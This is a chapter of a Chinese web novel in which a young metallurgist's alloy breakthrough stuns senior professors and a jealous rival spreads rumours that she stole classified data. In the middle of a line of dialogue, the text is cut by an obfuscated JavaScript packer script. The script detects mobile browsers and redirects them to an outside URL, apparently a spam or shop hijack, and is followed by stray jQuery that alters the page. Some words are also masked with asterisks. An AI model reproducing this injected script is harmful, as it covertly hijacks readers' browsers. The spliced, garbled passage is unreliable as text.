那块试样落在桌上的声音不大,“嗒”的一声,像一颗石子扔进深潭。
但整个实验室的空气像是被什么东西攥住了。
没有人说话。没有人动。
那一声“嗒”在安静的房间里来回弹了两下,然后被仪器运转的嗡嗡声吞没了。
几个老教授僵在原地,目光钉在那块银白色的金属上,像被什么东西钉住了脚。
有人张着嘴,忘了合上。有人手里还捏着检测报告,纸页在微微发抖——不知道是手在抖,还是空调的风在吹。
连那台材料疲劳试验机的嗡嗡声,都像是被压低了几分。
老教授站在最前面,离那块试样最近。
他的手还悬在半空——刚才想摸一下LAN-1,没摸下去。
现在LAN-1L就在他面前,他的手反而抬不起来了。
不是不敢。是那种——
你追了大半辈子的东西,突然出现在一个十八岁的姑娘手里,你不知道该用什么姿势去接。
实验室里的沉默持续了好几秒。
这几秒里,高澜就站在桌前,手还插在工作服的口袋里,脸上什么表情都没有。她不着急。
东西已经摆在这了,她不需要再说一个字。
整个实验室安静了。
不是那种“没人说话”的安静,是那种——所有人的呼吸都停了一拍的安静。
老教授的目光从高澜脸上移到桌上那块试样上,又从试样上移到她脸上。
他张了张嘴,没发出声音。
旁边几个人凑过来,有人伸出手,指尖触到试样表面,凉的,光滑的。
有人拿起检测报告,翻到大尺寸验证那一页,看了三遍。
“大尺寸和小试样的数据……”那个人的声音有点发紧,“几乎一样。”
没人接话。
所有人都知道这意味着什么——工艺放大成功了。
不是碰巧做出一块好的,是可重复、可稳定、可量产的。
老教授站在桌前,盯着那块LAN-1L看了很久。他的手从试样上收回来,**裤兜里,下巴微微抬着,和五天前一样的姿势。
但那个姿势底下的东西不一样了——不是不服,是说不出话。
容承阙站在窗边。
从高澜进门到现在,他没有说一句话,甚至没有走到桌前。他就站在那里,双手插在裤兜里,看着这一切。
但他的眉毛,在看见那块LAN-1L的时候,微微动了一下。
很轻。轻到根本注意不到。
他想起这五天。
每天晚上,他都会在办公楼那头的窗户前站一会儿。从那个角度,正好能看见东头实验室的窗户。
灯亮着。
有时候亮到后半夜,有时候亮到天亮。
他看见她一个人推着推车从熔炼车间到轧制车间,五十米的距离走了十几分钟。
听见轧机的声音在深夜里响起来,轰隆隆的,像一头沉睡的兽被唤醒。
看见检测室的灯亮了很久,久到他抽完了三根烟。
没有人帮她。
从头到尾,没有一个人。
如果有人在呢?
那些搬铝锭、操作轧机、做检测的活如果有人做,她是不是可以再缩短一点……
一周。
容承阙把这两个字在脑子里过了一遍。
一周已是惊人。她五天。
如果有人帮忙,是不是三天就够了?
他忽然觉得,她没说三天,是在给他留面子。
老教授终于开口了,他看着高澜,嘴唇动了几下,声音有些发涩。
“你是怎么想到的?”
高澜看着他,那双清冷的眼睛在晨光里亮得有些晃眼。
“这你不用管。”
实验室里安静了一瞬。
然后有人没忍住,咳了一声,把笑咽了回去。
老教授瞪着她,嘴唇动了动,想说什么,最后哼了一声,把目光移回那块试样上。
玻璃窗外面,人越聚越多。
刚才在走廊上以为她跑了的那群人,此刻正透过玻璃窗往里看,一个都没少。
有人踮着脚尖往里张望,有人把脸贴在玻璃上,鼻子压扁了也没在意。
“她真做出来了?”
“做出来了,你没看见?”
“那东西不是放在桌上吗,那么大一块。”
“哪里哪里?我看看——”
“那么大一块?真是她自己做的吗?”
“那不然呢,又没人帮她……”
殷素站在人群正中间,她双手抱胸,脸上挂着那抹得体的笑,目光穿过玻璃,钉在实验室里那个白色身影上。
她看见高澜走到桌前,看见她从口袋里掏出那块东西放在桌上,看见那些老教授僵在原地。
她的笑容没变,但藏在胳膊下面的那只手,指节攥得发白。
旁边的人凑过来,“殷姐,那玩意儿真行吗?”
殷素没回答,她的目光没有离开那扇玻璃窗。
实验室里,老教授拿起那块大尺寸试样,对着灯光看,银白色的表面在光里泛着冷光。旁边有人凑过来,说了句什么。
老教授没接话,把试样放回桌上,拿起检测报告,一页一页地翻。
从一开始的审视,质疑,到后面的无言以对。
殷素站在中间,听着那些话一句一句钻进耳朵里,一帧帧画面钉进脑海,脸上挂着笑,脑子已经翻江倒海。
她转身,从人群里退了出去。
高跟鞋踩在**石地面上,哒哒的,比来时乱了些。
走廊里,她走得很急。
她需要一个答案。
她怎么做出来的,已经不重要了,重要的是,她脑子里这套东西从哪来的?
殷素没有回办公区,拐身进了大厅,拿起座机拨了一个号,电话那头响了好一会才接通。
“帮我做件事。”
电话那头安静地听完,说了一句,“明白。”
殷素挂了电话,在黑暗中站了几秒,然后她推开门,走了出去。
第二天,按照原本的计划早上八点高澜到合金实验室,但因为早起的惯性,她提前半小时已经收拾好了。
宿舍在三口,食堂在二楼,下去不过一两分钟的事,从她身边路过的人却依旧指指点点。
“哎哟,原来她的数据是偷的。”
“偷的?从哪偷的?”
“强-5实验室。有人看见她入职之前就接触过强-5的资料。”
“一个还没入职的人,凭什么接触强-5?”
“这你还不明白?有人带她进去的呗。”
“谁?”
“还能有谁?傅少校。基地那个。上个月亲自开车带她过来的,在军区住了好几天,强-5的资料之前就搁在那儿。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454618|201206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那不泄密吗?”
“谁说不是呢。”
“哎哟走走,这话不能乱说,被人听见……”
走廊里。
“我还听说,她在红兴镇的时候就把傅少校迷的神魂颠倒,非要派两个兵过去驻守,还被大校训斥了一顿……”
“一个乡下的丫头,凭什么让少校派兵?”
“要不怎么说她厉害呢……”
“一个乡巴佬凭什么能空降容氏,用你脑子想想……”
“那她进容氏也是傅少校安排的?我那天看见少校亲自送她来了!还给她铺床!”
“这还用说!两人肯定有一腿,容教授不是他表哥么,硬塞个人进来也不是不可能……”
办公区里。
“你们别瞎说,人家确实做出来了,那试样就在桌上摆着呢。”
“做出来又怎么样,一个焊工!只要有数据,什么玩意儿做不出来?”
“就是。还有她那个单间也是特批的,咱门谁有那个待遇啊,谁知道她一个人在里面干点什么……”
“简直就是有辱院风,你说容教授怎么就让这样的人进来了?”
“所以容教授也被她骗了?”
“谁知道呢。反正傅少校那边肯定是栽了。”
这些话传进强-5实验室的时候,傅正红正在整理资料。
这几天她虽然没见到人,但是铺天盖地的流言可是一句也没少听。
她的手顿了一下,把手里那沓资料放在桌上,摘下老花镜,揉了揉眉心。
高澜。
这个名字这几天在她脑子里转。
她想起第一次看到那组数据的时候,容承阙放在她桌上,说“你看看这个”。
她看了,看了整整一个下午。
那些数字、那些曲线、那些配方——不是瞎编的,是算出来的。
每一步都推得很扎实,每一个参数都有出处。
她问容承阙这是谁写的,他说“现在暂时不能告诉你,等研究结果出来”。
于是为了这组数据他们熬了整整两个多月。
本以为他们会很顺利地让数据落地,毕竟现在都已经进展到装机测试了。
没想到迎来的不是坦诚相见,而是这种方式?
这组数据到底是谁的?
高澜?那个十八岁的小学徒?
不。不可能。
她宁愿相信这女人真的剽窃了强-5的数据,而写这组数据的,另有其人。
她拿起那沓资料,翻开扉页。
目光扫到右下角的署名编了号,Lan。
只有简单的三个字母,再也找不到其他任**息。
她的手指在那一页上停了一会儿。
一个没有真本事的人,抄作业时连同别人的署名也一起抄进去的可能性,不是没有。
她把资料合上,起身朝合金实验室走去。
容承阙在楼上办公室里看资料。
那些话他也听到了。
从食堂到走廊,流言如潮水般涌上来,挡都挡不住,他的脸上没什么表情,但眼底那抹寒意向内敛了几分。
他有想过这个局面,只是没想到——这么快。
按照原本的计划,等强-5数据全部落地,等新型高性能合金完成验证,他会在所有人面前说出那个名字。
那时候,事实摆在眼前,没有人能质疑。
但显然,敌人不准备给他这个时间。